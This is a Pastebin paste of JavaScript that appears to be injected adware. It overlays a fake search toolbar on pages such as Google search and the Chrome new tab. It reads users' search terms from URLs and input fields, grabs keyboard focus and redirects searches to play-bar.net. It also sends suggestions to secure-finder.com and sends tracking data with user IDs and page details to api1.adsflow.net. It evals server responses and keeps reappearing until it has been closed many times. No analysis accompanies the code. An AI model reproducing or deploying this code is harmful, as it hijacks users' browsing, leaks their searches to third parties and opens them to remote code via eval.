Advertisement
Guest User

Untitled

a guest
Jul 13th, 2016
307
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.34 KB | None | 0 0
  1.  
  2. var ad = response.ad;
  3. var ad_token = response.ad_token;
  4. function postAction(xlog, cb, customAction) {
  5. var params = {"ad_id":309,"inj_id":176,"show_id":275,"user_id":12640845,"user_subid":1057907,"host":"www.google.ru","time":1468334810,"hash":"1c8551fe307381132e1cb8670bd902a9"};
  6. params.postActionParams = xlog;
  7. params.postInfo = req;
  8. if (customAction) {
  9. params.customAction = customAction;
  10. }
  11. ajax("//api1.adsflow.net/postAction", params, cb);
  12. }
  13. var appendBar = function(){
  14. var fn84Hjf1_html = '<span class="fn84Hjf1-ico" id="fn84Hjf1-back"><svg version="1.1" xmlns:x="&ns_extend;" xmlns:i="&ns_ai;" xmlns:graph="&ns_graphs;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 25 25" style="enable-background:new 0 0 25 25;" xml:space="preserve"><metadata><sfw xmlns="&ns_sfw;"><slices></slices><sliceSourceBounds bottomLeftOrigin="true" height="13" width="15" x="5" y="7.1"></sliceSourceBounds></sfw></metadata><g><g><path style="fill:#4e4e4e;" d="M18.5,11h-8.3l2.5-2.7c0.5-0.6,0.5-1.5-0.1-2s-1.5-0.5-2,0.1l-5.6,6l5.6,6c0.3,0.3,0.7,0.5,1,0.5s0.7-0.1,0.9-0.4 c0.6-0.5,0.6-1.4,0.1-2L10.2,14h8.3c0.8,0,1.5-0.7,1.5-1.5S19.3,11,18.5,11z"/></g></g></svg></span><span class="fn84Hjf1-ico" id="fn84Hjf1-forward"><svg version="1.1" xmlns:x="&ns_extend;" xmlns:i="&ns_ai;" xmlns:graph="&ns_graphs;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 25 25" style="enable-background:new 0 0 25 25;" xml:space="preserve"><metadata><sfw xmlns="&ns_sfw;"><slices></slices><sliceSourceBounds bottomLeftOrigin="true" height="13" width="15" x="5" y="7.1"></sliceSourceBounds></sfw></metadata><g><g><path style="fill:#4e4e4e;" d="M6.5,11h8.3l-2.5-2.7c-0.5-0.6-0.5-1.5,0.1-2s1.5-0.5,2,0.1l5.6,6l-5.6,6c-0.3,0.3-0.7,0.5-1,0.5s-0.7-0.1-0.9-0.4 c-0.6-0.5-0.6-1.4-0.1-2l2.5-2.7H6.5C5.7,14,5,13.3,5,12.5S5.7,11,6.5,11z"/></g></g></svg></span><span class="fn84Hjf1-ico" id="fn84Hjf1-refresh"><svg version="1.1" xmlns:x="&ns_extend;" xmlns:i="&ns_ai;" xmlns:graph="&ns_graphs;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 25 25" style="enable-background:new 0 0 25 25;" xml:space="preserve"><metadata><sfw xmlns="&ns_sfw;"><slices></slices><sliceSourceBounds bottomLeftOrigin="true" height="15" width="15" x="5" y="6"></sliceSourceBounds></sfw></metadata><g><g><path style="fill:#4e4e4e;" d="M20,12V5l-2.5,2.5C16.2,5.9,14.2,5,12.2,5C8.2,5,5,8.4,5,12.5S8.2,20,12.2,20c2,0,3.9-0.9,5.3-2.4 c0.4-0.5,0.4-1.2-0.1-1.6s-1.2-0.4-1.6,0.1c-0.9,1.1-2.3,1.7-3.7,1.7c-2.8,0-5-2.3-5-5.2s2.2-5.2,5-5.2c1.4,0,2.8,0.7,3.8,1.8 L13,12H20z"/></g></g></svg></span><div class="fn84Hjf1-input-holder"><input id="fn84Hjf1-q" type="text" name="q" placeholder="" autocomplete="off" style="width: 500px;"></div><button class="fn84Hjf1-submit-btn" type="submit"><svg style="width: 20px;margin-top:2px;" version="1.1" xmlns:x="&ns_extend;" xmlns:i="&ns_ai;" xmlns:graph="&ns_graphs;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 25 25" style="enable-background:new 0 0 25 25;" xml:space="preserve"><metadata><sfw xmlns="&ns_sfw;"><slices></slices><sliceSourceBounds bottomLeftOrigin="true" height="18" width="18" x="3.5" y="4.6"></sliceSourceBounds></sfw></metadata><path style="fill:#fff;" d="M16.4,14.8h-0.8l-0.3-0.3c1-1.2,1.6-2.7,1.6-4.4c0-3.7-3-6.7-6.7-6.7s-6.7,3-6.7,6.7s3,6.7,6.7,6.7c1.7,0,3.2-0.6,4.4-1.6 l0.3,0.3v0.8l5.1,5.1l1.5-1.5L16.4,14.8z M10.2,14.8c-2.6,0-4.6-2.1-4.6-4.6c0-2.6,2.1-4.6,4.6-4.6c2.6,0,4.6,2.1,4.6,4.6 C14.8,12.7,12.7,14.8,10.2,14.8z"/></svg></button><i class="fn84Hjf1-ico" id="fn84Hjf1-close"><svg version="1.1" xmlns:x="&ns_extend;" xmlns:i="&ns_ai;" xmlns:graph="&ns_graphs;" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 25 25" style="enable-background:new 0 0 25 25;" xml:space="preserve"><metadata><sfw xmlns="&ns_sfw;"><slices></slices><sliceSourceBounds bottomLeftOrigin="true" height="12.9" width="13" x="6" y="7"></sliceSourceBounds></sfw></metadata><g><g><path style="fill:#4e4e4e;" d="M14.6,12.5l3.9-3.9c0.6-0.6,0.6-1.5,0-2.1s-1.5-0.6-2.1,0l-3.9,3.9l-3.9-4C8,5.9,7,5.9,6.4,6.4C5.9,7,5.9,8,6.4,8.6 l3.9,3.9l-3.9,3.9c-0.6,0.6-0.6,1.5,0,2.1s1.5,0.6,2.1,0l3.9-3.9l3.9,3.9c0.6,0.6,1.5,0.6,2.1,0s0.6-1.5,0-2.1L14.6,12.5z"/></g></g></svg></i><ul class="fn84Hjf1-suggestions" id="fn84Hjf1-suggestions" style="display: none;"></ul>';
  15. var fn84Hjf1_style = '#fkDiv{position:absolute;top:0;left:0;right:0;cursor:text;bottom:0;z-index:10000000000;}body.fn84Hjf1-body{position:relative !important;top:34px !important;}#fn84Hjf1-form *, #fn84Hjf1-form {-webkit-box-sizing: content-box;-moz-box-sizing: content-box;box-sizing: content-box;}#fn84Hjf1-form{position:fixed;height:31px;left:0!important;margin:0!important;padding:0!important;width:100%!important;display:block;border-width:1px 1px 2px;border-style:solid;border-color:#ccc;white-space:nowrap;top:0;background-color:#e9e9e9;z-index:2147483644}#fn84Hjf1-form .fn84Hjf1-ico{display:inline-block;cursor:default;width:27px;height:27px;box-sizing:border-box;vertical-align:bottom;padding:0;margin:2px;box-shadow:none;float:left;text-align:center;border:1px solid transparent;text-decoration:none;color:#4e4e4e;border-radius:4px}#fn84Hjf1-form .fn84Hjf1-ico svg{}#fn84Hjf1-form .fn84Hjf1-submit-btn{margin:3px;outline:0;position:relative;cursor:pointer;height:24px;width:32px;text-align:center;line-height:16px;font-size:13px;color:#FFF;display:inline-block;float:left;padding:0;border-radius:2px;border:1px solid #3079ed;background:#498bf4}#fn84Hjf1-form .fn84Hjf1-ico:hover{border-color:#dedee0 #b5b5b5 #8a8a8a;box-shadow:1px 1px 2px rgba(88,88,88,.2);background-color:rgba(255,255,255,.3)}#fn84Hjf1-form input[type=text]{border-radius:2px;float:left;text-align:left;box-sizing:content-box;line-height:18px;height:20px;font-size:16px;font-family:Arial,Helvetica,sans-serif;color:#333;border:1px solid #a99;margin:3px 0px 0;padding:2px 5px;width:1000px;background:#fff;outline:0}#fn84Hjf1-close{position:absolute;right: 4px;top:0px;}.fn84Hjf1-input-holder{float:left;position:relative;margin-left:3px;margin-right:3px;}.fn84Hjf1-suggestions{position:absolute;left:0px;right:0px;top:34px;margin:0;background:#fff;list-style:none;padding:0;padding-left:97px;padding-right: 97px;border-bottom: 1px solid #a99;border-top: none;}.fn84Hjf1-suggestions li {text-align:left !important;color:#000 !important;height:26px;font-size:16px;line-height:26px;padding-left:5px;font-family: Arial,Helvetica,sans-serif;}.fn84Hjf1-suggestions li:hover, .fn84Hjf1-suggestions li.active {background:#a99;color:#fff !important;cursor:pointer;}';
  16.  
  17. var fn84Hjf1_form = document.createElement("form");
  18. fn84Hjf1_form.id = "fn84Hjf1-form";
  19. fn84Hjf1_form.innerHTML = fn84Hjf1_html;
  20.  
  21. var fn84Hjf1_styleTag = document.createElement("style");
  22. fn84Hjf1_styleTag.type = "text/css";
  23. fn84Hjf1_styleTag.innerHTML = fn84Hjf1_style;
  24.  
  25. var keyword;
  26.  
  27. if ((r = (document.location.search+document.location.hash).match(new RegExp('[#&?](r|q|p|qs|query|searchfor|keyword)=([^&#]*)', ''))) && (r[2].length > 0)) {
  28. keyword = decodeURIComponent(r[2].replace(/\+/g, '%20'));
  29. } else {
  30. var inputs = document.querySelectorAll("input");
  31. var inputNames = ["r", "q", "p", "qs", "query", "searchfor", "keyword", "k", "keywords", "text"];
  32. for (var i = 0;i<inputs.length; i++) {
  33. if (inputNames.indexOf(inputs[i].name) != -1) {
  34. keyword = inputs[i].value;
  35. break;
  36. }
  37. }
  38. }
  39.  
  40. document.body.classList.add("fn84Hjf1-body");
  41. document.body.appendChild(fn84Hjf1_styleTag);
  42. document.body.appendChild(fn84Hjf1_form);
  43.  
  44. document.getElementById("fn84Hjf1-q").value = keyword;
  45.  
  46. if (document.location.href.indexOf("/chrome/newtab?")) {
  47. var gform = document.getElementById("f");
  48. if (gform) {
  49. var fkDiv = document.createElement("div");
  50. fkDiv.id="fkDiv";
  51. document.getElementById("f").appendChild(fkDiv);
  52. document.getElementById("f").style.position = "relative";
  53.  
  54. fkDiv.onclick = function() {
  55. document.getElementById("fn84Hjf1-q").focus()
  56. }
  57. }
  58. }
  59.  
  60. document.getElementById("fn84Hjf1-back").onclick = function(){
  61. window.history.back();
  62. }
  63.  
  64. document.getElementById("fn84Hjf1-forward").onclick = function(){
  65. window.history.forward();
  66. }
  67.  
  68. document.getElementById("fn84Hjf1-refresh").onclick = function(){
  69. window.location.reload();
  70. }
  71.  
  72. function doSearch(query) {
  73. var fr = "gr";
  74. window.open("http://play-bar.net/search/?q="+query+"&fr="+fr);
  75. searchCount++;
  76.  
  77. postAction(searchCount.toString());
  78. closeCount=closeCount-2;
  79. if (closeCount<0) closeCount = 0;
  80.  
  81. localStorage.setItem("fn84Hjf1-closed-count", closeCount);
  82. return false;
  83. }
  84.  
  85. var closed,
  86. timer,
  87. shownSuggestions,
  88. searchInput = document.getElementById("fn84Hjf1-q"),
  89. suggestionsUl = document.getElementById("fn84Hjf1-suggestions");
  90.  
  91. searchInput.focus();
  92.  
  93. document.getElementById("fn84Hjf1-form").onsubmit = function(event){
  94. event.preventDefault();
  95. var query = document.getElementById("fn84Hjf1-q").value;
  96. doSearch(query);
  97. }
  98.  
  99. document.getElementById("fn84Hjf1-close").onclick = function(){
  100. postAction('close',null,'closed');
  101.  
  102. document.body.classList.remove("fn84Hjf1-body");
  103. fn84Hjf1_form.style.display="none";
  104.  
  105. localStorage.setItem("fn84Hjf1-closed-count", closeCount+1);
  106.  
  107. }
  108.  
  109. function initSuggestions(){
  110. searchInput.oninput = function(){
  111. if (timer != undefined) {
  112. clearTimeout(timer);
  113. }
  114.  
  115. var query = this.value;
  116. if ((query == "") || (query.length < 2)) {
  117. suggestionsUl.style.display = "none";
  118. return;
  119. }
  120.  
  121. timer = setTimeout(function () {
  122. var xmlhttp = new XMLHttpRequest();
  123.  
  124. xmlhttp.onreadystatechange = function(){
  125. if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
  126. callback(eval("(" + xmlhttp.responseText + ")"));
  127. }
  128. }
  129.  
  130. function callback(data){
  131. var count = 4;
  132. suggestionsUl.innerHTML = "";
  133. data = data[1];
  134.  
  135. if (data.length == 0) {
  136. suggestionsUl.style.display = "none";
  137. shownSuggestions = false;
  138. return;
  139. }
  140.  
  141. for (var i = 0; i < data.length; i++) {
  142. if (i >= count)
  143. break;
  144.  
  145. var value = data[i];
  146. var li = document.createElement("li");
  147. li.class="suggestion";
  148. li.id = "suggestion-"+i;
  149. li.setAttribute("data-value", value);
  150.  
  151. li.onclick = function(){
  152. doSearch(this.getAttribute("data-value"));
  153. }
  154.  
  155. li.innerHTML = value.replace(query, "<strong>" + query + "</strong>");
  156. suggestionsUl.appendChild(li);
  157. }
  158.  
  159. suggestionsUl.style.display = "block";
  160. shownSuggestions = true;
  161. }
  162.  
  163. xmlhttp.open("GET", "//secure-finder.com/suggestions.php?q=" + query, true);
  164. xmlhttp.send();
  165. }, 500);
  166. }
  167.  
  168. function closest(el, selector) {
  169. var matches = el.webkitMatchesSelector ? 'webkitMatchesSelector' : (el.msMatchesSelector ? 'msMatchesSelector' : 'matches');
  170. while (el.parentElement) {
  171. if (el[matches](selector)) return el;
  172.  
  173. el = el.parentElement;
  174. }
  175. return null;
  176. }
  177.  
  178. window.onkeydown = function (event) {
  179. if (!closed) {
  180. document.getElementById("fn84Hjf1-q").focus()
  181. }
  182.  
  183. if (!shownSuggestions)
  184. return;
  185.  
  186. var code = event.which,
  187. up = true;
  188.  
  189. if ((code != 38) && (code != 40) && (code != 27))
  190. return;
  191.  
  192. event.preventDefault();
  193.  
  194. if (code == 40)
  195. up = false;
  196.  
  197. if (code == 27) {
  198. suggestionsUl.style.display = "none";
  199. shownSuggestions = false;
  200. return;
  201. }
  202.  
  203. var count = suggestionsUl.querySelectorAll("li").length,
  204. current = document.querySelector(".active");
  205.  
  206. if (!current) {
  207. currentCount = -1;
  208. } else {
  209. currentCount = current.id.replace("suggestion-", "");
  210. current.classList.remove("active");
  211. }
  212.  
  213. if (up) {
  214. if (currentCount > 0){
  215. currentCount--;
  216. } else {
  217. return;
  218. }
  219. } else {
  220. if(currentCount != count - 1)
  221. currentCount++
  222. }
  223.  
  224. current = document.getElementById("suggestion-"+currentCount);
  225.  
  226. current.classList.add("active");
  227. searchInput.value = current.getAttribute("data-value");
  228. }
  229.  
  230. document.onclick = function(event){
  231. if (shownSuggestions) {
  232. if (!closest(event.target, ".fn84Hjf1-input-holder")) {
  233. suggestionsUl.style.display = "none";
  234. shownSuggestions = false;
  235. }
  236. }
  237. }
  238. }
  239.  
  240. initSuggestions();
  241. }
  242.  
  243. function checkReady(){
  244. if (document.body) {
  245. appendBar();
  246. } else {
  247. document.addEventListener("DOMContentLoaded", appendBar);
  248. }
  249. }
  250.  
  251. var closeCount = parseInt(localStorage.getItem("fn84Hjf1-closed-count"));
  252. if (!closeCount) closeCount = 0;
  253. var searchCount = 0;
  254.  
  255.  
  256.  
  257. if (closeCount < 12) {
  258.  
  259. checkReady();
  260.  
  261. } else {
  262. postAction('disabled',null,'disabled');
  263. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement